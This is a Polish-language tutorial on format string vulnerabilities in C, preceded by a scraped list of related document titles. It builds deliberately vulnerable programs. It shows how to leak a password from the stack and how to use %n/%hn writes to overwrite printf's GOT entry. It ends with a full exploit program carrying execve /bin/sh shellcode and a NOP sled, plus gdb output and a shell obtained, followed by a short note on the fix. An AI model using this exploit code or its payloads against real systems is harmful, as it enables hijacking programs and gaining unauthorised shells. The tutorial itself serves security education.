Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl)



Podobne dokumenty
Buffer Overflow (art. 2) by h07

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)

Przepełnienie bufora i łańcuchy formatujace

Programowanie w asemblerze Aspekty bezpieczeństwa

Architektura komputerów

Stałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane

Języki i metodyka programowania. Typy, operatory, wyrażenia. Wejście i wyjście.

Ćwiczenie 3. Konwersja liczb binarnych

Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego

Programowanie proceduralne INP001210WL rok akademicki 2018/19 semestr letni. Wykład 6. Karol Tarnowski A-1 p.

Programowanie w asemblerze Uruchamianie programów

Informatyka, Ćwiczenie Uruchomienie Microsoft Visual C++ Politechnika Rzeszowska, Wojciech Szydełko. I. ZałoŜenie nowego projektu

Podstawy programowania w języku C++

Języki i metodyka programowania. Wprowadzenie do języka C

002 Opcode Strony projektu:

Wskaźniki. Informatyka

Wstęp do programowania INP001213Wcl rok akademicki 2017/18 semestr zimowy. Wykład 12. Karol Tarnowski A-1 p.

INFORMATYKA Studia Niestacjonarne Elektrotechnika

XV. Wskaźniki Odczytywanie adresu pamięci istniejących zmiennych Wskaźniki pierwsze spojrzenie.

Stałe i zmienne znakowe. Stała znakowa: znak

2 Przygotował: mgr inż. Maciej Lasota

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE

Języki programowania. Przetwarzanie plików amorficznych Konwencja języka C. Część siódma. Autorzy Tomasz Xięski Roman Simiński

Pliki. Informacje ogólne. Obsługa plików w języku C

Programowanie proceduralne INP001210WL rok akademicki 2015/16 semestr letni. Wykład 6. Karol Tarnowski A-1 p.

Programowanie niskopoziomowe

Pliki. Informacje ogólne. Obsługa plików w języku C

Podstawy programowania. Wykład Pętle. Tablice. Krzysztof Banaś Podstawy programowania 1

Programowanie Niskopoziomowe

Architektura komputerów

Return-oriented exploiting

Wstęp do programowania INP003203L rok akademicki 2018/19 semestr zimowy. Laboratorium 2. Karol Tarnowski A-1 p.

Programowanie I C / C++ laboratorium 03 arytmetyka, operatory

Zmienne, stałe i operatory

Wstęp do Programowania, laboratorium 02

int tab[5]; tab[1]; ciągły obszar pamięci, w którym umieszczone są elementy tego samego typu macierz [ ] - dwuargumentowy operator indeksowania

Zadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów

Reprezentacja symboli w komputerze.

Wskaźniki a tablice Wskaźniki i tablice są ze sobą w języku C++ ściśle związane. Aby się o tym przekonać wykonajmy cwiczenie.

Parę słów o przepełnieniu bufora.

Funkcje standardowej biblioteki wejść-wyjść do wyświetlania i pobierania danych

ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje

Programowanie I C / C++ laboratorium 01 Organizacja zajęć

Tablice, funkcje - wprowadzenie

7 Przygotował: mgr inż. Maciej Lasota

1. Wprowadzanie danych z klawiatury funkcja scanf

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak

Opis: Instrukcja warunkowa Składnia: IF [NOT] warunek [AND [NOT] warunek] [OR [NOT] warunek].

ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje

Proste typy zmiennych języka C++ *) Zapis 3.4 e-38 jest równoważny zapisowi 3,

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.

Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Jak wiemy, wszystkich danych nie zmieścimy w pamięci. A nawet jeśli zmieścimy, to pozostaną tam tylko do najbliższego wyłączenia zasilania.

3. Identyfikacja. SKŁADNIA #include <sys/socket.h> int getpeername(int socket, struct sockaddr *addr, int *addrlen);

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.

Wykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik

Systemy Operacyjne - Operacje na plikach

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1

Część 4 życie programu

część 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.

Argumenty wywołania programu, operacje na plikach

VII. Ciągi znaków łańcuchy

Wskaźniki w C. Anna Gogolińska

Programowanie w językach wysokiego poziomu

Ćwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1.

Tablice, funkcje, wskaźniki - wprowadzenie

Biblioteka standardowa - operacje wejścia/wyjścia

Tablice w argumentach funkcji. Tablicy nie są przekazywane po wartości Tablicy są przekazywane przez referencje lub po wskaźniku

Metodyki i Techniki Programowania MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA

Programowanie Proceduralne

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 16 kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27

Obsługa plików. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 25 września 2011

Struktura programu. Projekty złożone składają się zwykłe z różnych plików. Zawartość każdego pliku programista wyznacza zgodnie z jego przeznaczeniem.

// Liczy srednie w wierszach i kolumnach tablicy "dwuwymiarowej" // Elementy tablicy są generowane losowo #include <stdio.h> #include <stdlib.

Program wykonujący operację na plikach powinien zachować schemat działania zapewniający poprawną pracę:

Struktury. Przykład W8_1

Programowanie Niskopoziomowe

Programowanie komputerowe. Zajęcia 4


Assembler w C++ Syntaksa AT&T oraz Intela

Podstawy programowania w języku C++

Ćwiczenie nr 6. Programowanie mieszane

Tablice deklaracja, reprezentacja wewnętrzna

Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Kraków 2013

Programowanie I C / C++ laboratorium 02 Składnia pętli, typy zmiennych, operatory

utworz tworzącą w pamięci dynamicznej tablicę dwuwymiarową liczb rzeczywistych, a następnie zerującą jej wszystkie elementy,

Zasady programowania Dokumentacja

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/ / 24

Ćwiczenie nr 6. Poprawne deklaracje takich zmiennych tekstowych mogą wyglądać tak:

Pobieranie argumentów wiersza polecenia

Spis treści. Wskazówki prawne Art Art Art. 268a Art Art. 269a Art. 269b... 23

Funkcja (podprogram) void

DANE TEKSTOWE W JĘZYKU C/C++ - TABLICE ZNAKOWE

Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych

Transkrypt:

Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący) umoŝliwiają wypełnianie łańcuchów znakowych odpowiednimi danymi. Przykład.. //printf.c int main() int cena = 65; printf("ksiazka kosztuje %d zl\n", cena); return 0; [h07@md5 format]$ gcc -o printf printf.c [h07@md5 format]$./printf Ksiazka kosztuje 65 zl Rezultatem działania przykładowego programu printf.c jest wyświetlenie łańcucha znakowego wypełnionego danymi w sposób określony przez programistę. Specyfikator %d umoŝliwia wyświetlenie wartości typu całkowitego w systemie dziesiętnym. W naszym przypadku argumentem specyfikatora %d była zmienna int cena. Błędy łańcuchów formatujących występują wówczas, gdy ilość specyfikatorów jest większa od ilości odpowiadających im argumentów. Brakujące wartości pobierane są ze stosu co w rezultacie umoŝliwia hakerowi podejrzenie zawartości stosu w celu odczytania istotnych danych lub przejęcia kontroli nad wykonywaniem programu. Podgląd zawartości stosu. Przykładowy program fmt.c podatny jest na atak ciągu formatującego. UŜyta w nim funkcja snprintf() nie zawiera formatera, co w rezultacie daje nam moŝliwość wprowadzenia z zewnątrz własnego łańcucha formatującego. //fmt.c int main(int argc, char *argv[]) char buffer[512]; if(argc > 1) snprintf(buffer, sizeof(buffer) -1, argv[1]); printf("%s\n", buffer);

return 0; [h07@md5 format]$ gcc -o fmt fmt.c [h07@md5 format]$./fmt "%d %d %d %d %d %d %d %d %d %d" 0 0 0 0 0 540024880 540024880 875896880 875704368 540031032 Do programu fmt.c wprowadzono 10 specyfikatorów %d, dla których nie określono argumentów zawierających wartości całkowite. Konsekwencją tego było odczytanie brakujących danych ze stosu i wyświetlenie ich w systemie dziesiętnym. 0 0 0 0 0 540024880 540024880 875896880 875704368 540031032 Specyfikator %x umoŝliwia wyświetlenie wartości w systemie 16-stkowym. [h07@md5 format]$./fmt "%x %x %x %x %x %x %x %x %x %x" 0 0 0 0 0 20302030 20302030 30322030 30323033 32203033 MoŜliwe jest zatem pobieranie danych ze stosu ale jak praktycznie to wykorzystać? //format.c int main(int argc, char *argv[]) char buffer[150]; char *password = "hello world"; if(argc == 1 strlen(argv[1]) > 100) printf("usege: %s <password>\n", argv[0]); exit(0); if(strcmp(argv[1], password) == 0) printf("password ok\n"); else sprintf(buffer, "Access denied, bad password: %s\n", argv[1]); printf(buffer); return 0; Powyzszy program podatny jest na błąd łańcucha formatującego. Standardowo weryfikuje on poprawność hasła, po czym wyświetla stosowny komunikat. Jeśli w tablicy argv[1] umieścimy dodatkowe specyfikatory to brakujące dane zostaną pobrane ze stosu (w tym nasz tajne hasło hello world ). Aby odczytać dane ze stosu w postaci łańcucha znakowego posłuŝymy się specyfikatorem %s, którego argument jest wskaźnikiem do łańcucha znaków. [h07@md5 format]$ for((i = 1; i <= 30; i++)); do echo -n "[$i] : " &&./format "[%$i\$x] = '%$i\$s'"; done [1] : Access denied, bad password: [8048618] = 'Access denied, bad password: %s '

[2] : Access denied, bad password: [bffff80f] = '[%2$x] = '%2$s'' [3] : Segmentation fault [4] : Access denied, bad password: [0] = '(null)' [5] : Access denied, bad password: [0] = '(null)' [6] : Access denied, bad password: [40033bcc] = '' [7] : Access denied, bad password: [4002ebb4] = '' [8] : Access denied, bad password: [40026384] = '' [9] : Access denied, bad password: [40015128] = '' [10] : Segmentation fault [11] : Access denied, bad password: [80485e8] = 'hello world' [12] : Segmentation fault [13] : Segmentation fault [14] : Segmentation fault [15] : Segmentation fault [16] : Segmentation fault [17] : Segmentation fault [18] : Segmentation fault [19] : Segmentation fault [20] : Segmentation fault [21] : Segmentation fault [22] : Segmentation fault [23] : Segmentation fault '24] : Access denied, bad password: [40015408] = ii [25] : Segmentation fault [26] : Access denied, bad password: [0] = '(null)' [27] : Segmentation fault [28] : Access denied, bad password: [40014998] = 'ŘS@' [29] : Access denied, bad password: [0] = '(null)' [30] : Access denied, bad password: [bffff5a4] = ' ı ' Wykonując powyŝsze polecenie odczytaliśmy dane ze stosu (przesuniecie względem szczytu stosu określane jest poprzez zmienną iteracyjną i). Korzystając ze specyfikatorów %x i %s ("[%$i\$x] = '%$i\$s'") odczytaliśmy zarówno wartości szesnastkowe jak i łańcuchy znakowe. Nasze tajne hasło zostało odczytane podczas 11 iteracji pętli [11] : Access denied, bad password: [80485e8] = 'hello world' MoŜemy teraz odczytać nasze hasło stosując metodę bezpośredniego dostępu do parametru. [h07@md5 format]$./format "%11\$s" Access denied, bad password: hello world [h07@md5 format]$./format "hello world" Password ok Przejęcie kontroli nad wykonywaniem programu. Wykorzystanie błędów łańcuchów formatujących do przejęcia kontroli nad wykonywaniem programu nie jest rzeczą łatwą. Przede wszystkim musimy zapoznać się ze specyfikatorem %n. Ów specyfikator umieszcza ilość wyprowadzonych przed nim znaków w adresie pamięci określonym przez argument. Jeśli nie określimy argumentu dla specyfikatora %n, pobierze on brakujące dane ze stosu traktując je jako adres pod którym zostanie zapisana liczba wybprowadzonych przed nim znaków. Konsekwencją tego będzie nadpisanie niedozwolonych obszarów pamięci czyli błąd segmentacji.

[h07@md5 format]$./fmt "AAAA%n" Segmentation fault I co dalej? Jeśli odnajdziemy przesunięcie względem szczytu stosu, w którym znajduje się nasz łańcuch znakowy (wypełniony konkretnym adresem) wprowadzany do programu i zmusimy specyfikator %n by pobrał nasz łańcuch jako argument to da nam to moŝliwość zapisu liczby wyprowadzonych znaków przed specyfikatorem %n w dowolnym miejscu pamięci. [h07@md5 format]$./fmt "AAAABBBB %x %x %x %x %x %x %x %x %x %x" AAAABBBB 0 0 0 0 0 41414141 42424242 30203020 30203020 34203020 [h07@md5 format]$./fmt "AAAA %x %x %x %x %x %x" AAAA 0 0 0 0 0 41414141 [h07@md5 format]$./fmt "AAAA%6\$x" AAAA41414141 Widzimy Ŝe początek naszego łańcucha znakowego znajduje się w szóstym przesunięciu względem szczytu stosu. Oznacza to, iŝ potrzebujemy sześciu specyfikatorów %x aby uzyskać 16-stkową reprezentacja łańcucha znakowego AAAA czyli 41414141. UŜyjmy teraz specyfikatora %n zamiast %x i zobaczmy co się stanie. [h07@md5 format]$ gdb fmt (gdb) r "AAAA%6\$n" Starting program: /home/h07/format/fmt "AAAA%6\$n" 0x40060272 in vfprintf () from /lib/tls/libc.so.6 (gdb) info reg eax 0xf 15 ecx 0x41414141 1094795585 edx 0x0 0 ebx 0x4013f218 1075048984 esp 0xbfffe5d0 0xbfffe5d0 ebp 0xbffff25c 0xbffff25c esi 0xbfffe5f0-1073748496 edi 0x4 4 eip 0x40060272 0x40060272 eflags 0x210246 2163270 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/1i $eip 0x40060272 <vfprintf+14642>: mov %edi,(%ecx) Próbowaliśmy zapisać wartość 0x4 pod adresem 0x41414141. Przed specyfikatorem %n umieściliśmy cztery znaki (AAAA) dlatego rejestr EDI ma wartość 0x4.

Jednym ze sposobów zmiany sterowania programu jest modyfikacja wartości umieszczonej pod adresem funkcji znajdującej się w tabeli GOT (Global Offset Table). Do takich funkcji naleŝy między innymi funkcja printf() i pierwszym krokiem jest ustalenie jej adresu. [h07@md5 format]$ objdump -R fmt fmt: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080495e0 R_386_GLOB_DAT gmon_start 080495d4 R_386_JUMP_SLOT libc_start_main 080495d8 R_386_JUMP_SLOT printf 080495dc R_386_JUMP_SLOT snprintf W naszym przypadku funkcja printf() ma adres 080495d8. PoniewaŜ procesory zapisują adresy zaczynając od bajtów mniej znaczących musimy odwrócić kolejność bajtów adresu wprowadzanego do łańcucha formatującego. 080495d8 = \xd8\x95\x04\x08 Spróbujmy zatem nadpisac ten adres wartością 0x4 i zobaczmy co się stanie. [h07@md5 format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%6$n' 0x00000004 in?? () (gdb) info reg eax 0xbffff3b0-1073744976 ecx 0xbffff320-1073745120 edx 0x4 4 ebx 0x4013f218 1075048984 esp 0xbffff38c 0xbffff38c ebp 0xbffff5b8 0xbffff5b8 esi 0xbffff644-1073744316 edi 0xbffff5d0-1073744432 eip 0x4 0x4 eflags 0x210292 2163346 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 Bingo ;) Sterowanie zostało zmienione. Rejestr sterujący EIP przyjął wartość 0x4 co spowodowało skok do adresu 0x00000004. Dlaczego 0x4 skoro nie wprowadziliśmy znaków AAAA? PoniewaŜ przed specyfikatorem %n umieściliśmy 4-bajtowy adres \xd8\x95\x04\x08 (\bajt\bajt\bajt\bajt).

MoŜemy wywnioskować ze długość łańcucha formatującego w systemie dziesiętnym odpowiada wartości rejestru EIP w systemie szesnastkowym. Spróbujmy zatem nadpisać rejestr EIP wartością 0x4141. //convert.c int main() int RET = 0x4141; printf("length: %d\n", RET -4); return 0; [h07@md5 format]$ gcc -o convert convert.c [h07@md5 format]$./convert Length: 16701 [h07@md5 format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%16701x%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%16701x%6$n' 0x00004141 in?? () (gdb) info reg eip eip 0x4141 0x4141 Program convert.c zamienił wartość 16-stkową 0x4141 na system dziesiętny odejmując długość łańcucha formatującego czyli 4 (4-bajtowy adres) Uzyskaliśmy wartość 16701, która wprowadzona do łańcucha formatującego dała rezultat nadpisania rejestru EIP wartością 0x4141. Sytuacja nieco się komplikuje gdy chcemy nadpisac rejestr EIP pełnym (4-bajtowym) adresem np. 0x41414242. Musimy rozbić ów adres na dwie części i zapisać pierwszą z nich w adresie funkcji printf() a drugą część bezpośrednio pod tym adresem (adres funkcji printf + 2 [ 080495d8 +2 = 080495da = \xda\x95\x04\x08 ]). Do tego celu uŝyjemy specyfikatora %hn, który umoŝliwia zapisanie wartości 16-bitowej (2-bajtowej). jeśli A < B r $'\xda\x95\x04\x08\xd8\x95\x04\x08%( A )x%6$hn%( B A )x%7$hn' jeśli A > B r $'\xd8\x95\x04\x08\xda\x95\x04\x08%( B )x%6$n%( A B )x%7$n' PowyŜej przedstawiony został prosty schemat ustalający długość łańcucha formatującego tak by uzyskane wartości powodowały napisanie rejestru EIP konkretnym adresem. Przykład: Adres = 0x41414242 Długość łańcucha = 8 A = hex: 4141 = dec: 16705

B = hex: 4242 = dec: 16962 (A < B) A: 16705-8 = 16697 B: 16962 16697 8 = 257 (gdb) r $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' Starting program: /home/h07/format/fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' 0x41414242 in?? () (gdb) info reg eip eip 0x41414242 0x41414242 Adres = 0x42424141 Długość łańcucha = 8 A = hex: 4242 = dec: 16962 B = hex: 4141 = dec: 16705 (A > B) B: 16705-8 = 16697 A: 16962 16697 8 = 257 (gdb) r $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' 0x42424141 in?? () (gdb) info reg eip eip 0x42424141 0x42424141 Potrafimy juŝ napisać rejestr EIP dowolnym adresem więc nadszedł czas napisać exploit który wykorzysta błąd łańcucha formatującego w programie fmt.c uruchamiając kod powłoki. //exp.c (format string exploit demo) by h07 #include <stdio.h> #define BUFF_SIZE 1000 #define LEN 8 #define NOP 0x90 char buffer[buff_size]; char fmt[80]; char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89"

"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x58\x59\x59\x59\x59\x5a\x5a\x5a\x5a"; unsigned long get_esp() asm ("movl %esp,%eax"); int main(int argc, char *argv[]) unsigned long RET, offset = 0; unsigned int A, B; if(argc > 1) offset = atoi(argv[1]); RET = get_esp() - offset; A = (RET & 0xffff0000) >> 16; B = (RET & 0x0000ffff); printf("\nret: 0x%x\n", RET); if(a < B) A -= LEN; sprintf(fmt, "$'\\xda\\x95\\x04\\x08\\xd8\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", A, (B - A) -LEN); else B -= LEN; sprintf(fmt, "$'\\xd8\\x95\\x04\\x08\\xda\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", B, (A - B) -LEN); if((sizeof(fmt) + sizeof(shellcode)) > BUFF_SIZE) printf("error: buffer too small..\n"); exit(1); memset(buffer, NOP, BUFF_SIZE -1); memcpy(buffer, "EXP=", 4); memcpy(buffer + BUFF_SIZE -1 - strlen(shellcode), shellcode, strlen(shellcode)); putenv(buffer); printf("\nformat string: %s\n\n", fmt); system("/bin/bash"); return 0;

Exploit ustala adres powrotny po przez odjęcie offsetu od wierzchołka stosu. Następnie uzyskany adres powrotny rozdzielany jest na dwie części (A i B) po czym następuje obliczanie długości łańcucha formatującego. Obliczone wartości nadpisują adres funkcji printf() i adres znajdujący się pod nią uzyskując 16-stkową reprezentacje adresu do którego zostanie wykonany skok. Na samym koncu tworzona jest zmienna systemowa $EXP o rozmiarze 1000 bajtów która wypełniana jest instrukcjami NOP a później shellcodem. Odpalamy exploit: [h07@md5 format]$ gcc -o exp exp.c [h07@md5 format]$./exp -400 RET: 0xbffff748 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' [h07@md5 format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' Segmentation fault [h07@md5 format]$./exp -800 RET: 0xbffff8d8 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' [h07@md5 format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' sh-2.05b$ W ten oto sposób wykorzystaliśmy błąd łańcucha formatującego w programie fmt.c zmieniając jego sterowanie i uruchamiając kod powłoki znajdujący się w zmiennej systemowej $EXP. Outro. Błąd łańcucha formatującego znajdujący się w programie fmt.c jest bardzo łatwy do naprawienia. Wystarczy umieścić w funkcji snprinf() formater określający sposób formatowania danych. snprintf(buffer, sizeof(buffer) -1, argv[1]); //źle snprintf(buffer, sizeof(buffer) -1, "%s", argv[1]); //dobrze Ataki typu format string stają się coraz rzadsze. Nie znaczy to jednak ze błędy tego typu nie mają juz miejsca czego przykładem jest między innymi serwer FTP wu-ftp 2.6.0. EoF;